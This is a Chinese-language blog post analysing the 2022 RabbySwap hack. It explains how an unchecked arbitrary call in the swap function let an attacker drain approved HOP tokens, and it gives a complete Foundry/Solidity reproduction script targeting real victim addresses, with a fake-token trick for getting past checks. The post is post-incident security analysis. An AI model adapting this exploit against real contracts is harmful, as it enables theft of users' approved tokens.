RabbyWallet被盗的复现与简析
October 17th, 2022

阅读本文之前,可以先阅读下面这篇文章,本文是基于下面这篇文章提供的材料对RabbyWallet的攻击进行复现和分析的。

选取的攻击交易为

这笔交易试图盗取6名用户的HOP代币资产,其中2人因为approve为0逃过一劫,另外4人的HOP代币全部被转走。

1 RabbySwap的正常执行逻辑

我们先来看一个正常的RabbySwap交易。

大家可以看一下图中被我圈起来的部分,ZeroEx::sellToUniswap.

因为RabbySwap本身并没有流动池,所以它其实只是一个中转站,它还需要在自己的swap函数中调用其他dex的接口。在上面的例子中,调用了0x的接口,然后0x又去调用了sushi。

RabbySwap的代码并没有开源,不过我们可以在它的一份代码审计报告中看到一些代码片段。巧合的是,其中恰好有个片段是_swap(),它应该就是swap接口的核心逻辑所在。

其中的关键是我在图中圈起来的部分——dexRouter.functionCallWithValue,应该就是这个函数完成了对外部dex的调用完成了swap过程。

functionCallWithValue是openzeppelin的库函数,最终会被转为dexRouter.call{value: value}(data)

function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value,
    string memory errorMessage
) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    require(isContract(target), "Address: call to non-contract");

    (bool success, bytes memory returndata) = target.call{value: value}(data);
    return verifyCallResult(success, returndata, errorMessage);
}

这是一个可怕的操作,用户可以通过调整swap函数的入参dexRouter和data,让这里随意调用任意合约的任意方法,正是这里给了攻击者可乘之机。

2 RabbySwap的攻击交易

攻击交易中多次调用了Rabby的swap接口,我们只看其中一个。

和上面的正常交易对比,最明显的不同是ZeroEx::sellToUniswap被替换成了HOPToken::transferFrom,本来是应该调用0x的兑换接口完成token兑换,这里却调用HOP代币合约的transferFrom函数,把HOP转到了黑客的钱包。这就是任何合约函数调用的可怕之处,不需要获取任何管理员权限,轻松偷到了代币。

根据链上交易的执行过程,我写了如下代码重现了黑客的这一攻击交易。

pragma solidity ^0.8.0;
import "forge-std/Script.sol";

contract TestScript is Script {

    function setUp() public {
    }

    function run() public {
        AttackContract attackInstance = new AttackContract();

        uint256[] memory victims = new uint256[](6);
        victims[0] = 0x0000000000000000000000000753cfbc797abfce05abaacbb1e6ae032feb5f1d;
        victims[1] = 0x0000000000000000000000001eef1739bd82968725d9919bceb11ed9616a4da5; // allowance = 0
        victims[2] = 0x0000000000000000000000007d7abdce70d3b346b2cae671b450792d73785b38;
        victims[3] = 0x0000000000000000000000008e283b2383d0e4c68d064438e9113a48b467ec40;
        victims[4] = 0x0000000000000000000000009a74ec99bd88eca680485da7f32fca05af375dcf; // allowance = 0
        victims[5] = 0x000000000000000000000000eeff1559b2876e90a6cf341ac4d37e84dba5e8c5;
        uint256 hopTokenAddr = 0x000000000000000000000000c5102fe9359fd9a28f877a67e36b0f050d81a3cc;

        attackInstance.batchAttack(victims, hopTokenAddr);
    }
}

contract AttackContract {
    address constant rabby = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
    address constant receiver = 0x9682f31b3f572988f93C2B8382586ca26A866475; // attacker's EOA address

    function batchAttack(uint256[] calldata victims, uint256 token) external {
        for (uint i = 0; i < victims.length; i++) {
            attack(address(uint160(victims[i])), address(uint160(token)));
        }
    }

    function attack(address victim, address token) internal {
        address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
        uint256 amount = 0;
        address destToken = address(this);
        uint256 minReturn = 4660;
        address dexRouter = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;
        address dexSpender = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;

        uint256 amountOwned = IERC20(token).balanceOf(victim);
        uint256 amountApproved = IERC20(token).allowance(victim, rabby);
        if (amountOwned == 0 || amountApproved == 0) return;
        bytes memory data;
        // avoid stack too deep
        {
            bytes4 transferSig = 0x23b872dd;
            uint256 victimAddr = uint160(victim);
            uint256 attackerAddr = uint160(receiver);
            uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;

            // b1-b7 is useless in attack transaction
            bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
            bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
            bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
            bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
            bytes4 b5 = 0x869584cd;
            bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
            bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;

            bytes memory dataTemp = abi.encodePacked(transferSig, victimAddr, attackerAddr, transferAmount,
               b1, b2, b3, b4, b5, b6, b7);
            data = dataTemp;
        }
        uint256 deadline = 1665403089111;
        RabbySwap(rabby).swap(srcToken, amount, destToken, minReturn, dexRouter, dexSpender, data, deadline);
    }

    function balanceOf(address addr) public returns(uint256) {
        return 100000000000000000000;
    }
    function transfer(address to, uint256 amount) external returns (bool) {
        return true;
    }
}

interface IERC20 {
    function balanceOf(address addr) external view returns(uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

interface RabbySwap {
    function swap(address srcToken, uint256 amount, address dstToken, uint256 minReturn, address dexRouter, address dexSpender,
                  bytes calldata data, uint256 deadline) external;
}

运行forge script script/Test.s.sol --fork-url $ETH_RPC_URL --fork-block-number 15724450 -vvvv --tc TestScript即可运行:

其中核心函数是function attack(address victim, address token),这个函数构造了对transferFrom的调用。关键是下面几行代码:

transferSig是bytes4(keccak256(”transferFrom(address,address,uint256)”).

victimAddr、attackerAddr、transferAmount是transferFrom的三个参数,分别是受害者地址,黑客地址、转移代币数额。其中转移代币数额可以通过受害者拥有的代币数和approve的代币数取最小值获得,这两个数字都可以通过HOP合约查到。

uint256 amountOwned = IERC20(token).balanceOf(victim);
uint256 amountApproved = IERC20(token).allowance(victim, rabby);
if (amountOwned == 0 || amountApproved == 0) return;
bytes memory data;
// avoid stack too deep
{
  bytes4 transferSig = 0x23b872dd;
  uint256 victimAddr = uint160(victim);
  uint256 attackerAddr = uint160(receiver);
  uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;
  ......
}

下面这些变量,其中b1-b4在正常交易中是用来指定swap路径的,b5-b7我没看出来是做什么的。

不过在攻击交易中,这些变量并没有发挥作用,实际上,如果把它们去掉,攻击交易依然可以正常执行。

// b1-b7 is useless in attack transaction
bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
bytes4 b5 = 0x869584cd;
bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;

在Rabby的的函数中,最后还有一些简单的校验,判断换出的token数目有没有超过最小额。然后会把换出来的代币发送给调用者。攻击合约还需要做一些修改通过这些校验和后续发送操作。

攻击交易实际上是假装自己在用USDT换另一种token,可能是为了方便,黑客把这个token地址就设定为这个合约本身,然后为这个合约实现了balanceOf和transfer函数,只要让balanceOf返回一个很大的数字、transfer函数返回true就可以轻松通过校验。

function attack(address victim, address token) internal {
    address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
    uint256 amount = 0;
    address destToken = address(this);
    uint256 minReturn = 4660;
    ......
}

function balanceOf(address addr) public returns(uint256) {
    return 100000000000000000000;
}

function transfer(address to, uint256 amount) external returns (bool) {
    return true;
}

3 总结与困惑

认真分析攻击交易之后可以发现,整个攻击过程简单到让人瞠目,没有盗取管理员权限的花哨操作,只是简单的构造了swap接口的入参。究其原因,还是因为RabbySwap的合约中包含了一个非常危险的任何合约函数调用,且几乎没有做任何有效的校验。

让我感到困惑的是,为什么这样明显有风险的代码会被部署上链,如果真的是审计没有发现,对审计公司也算是个事故吧?

Subscribe to rbtree
Receive the latest updates directly to your inbox.
Nft graphic
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from rbtree

Skeleton

Skeleton

Skeleton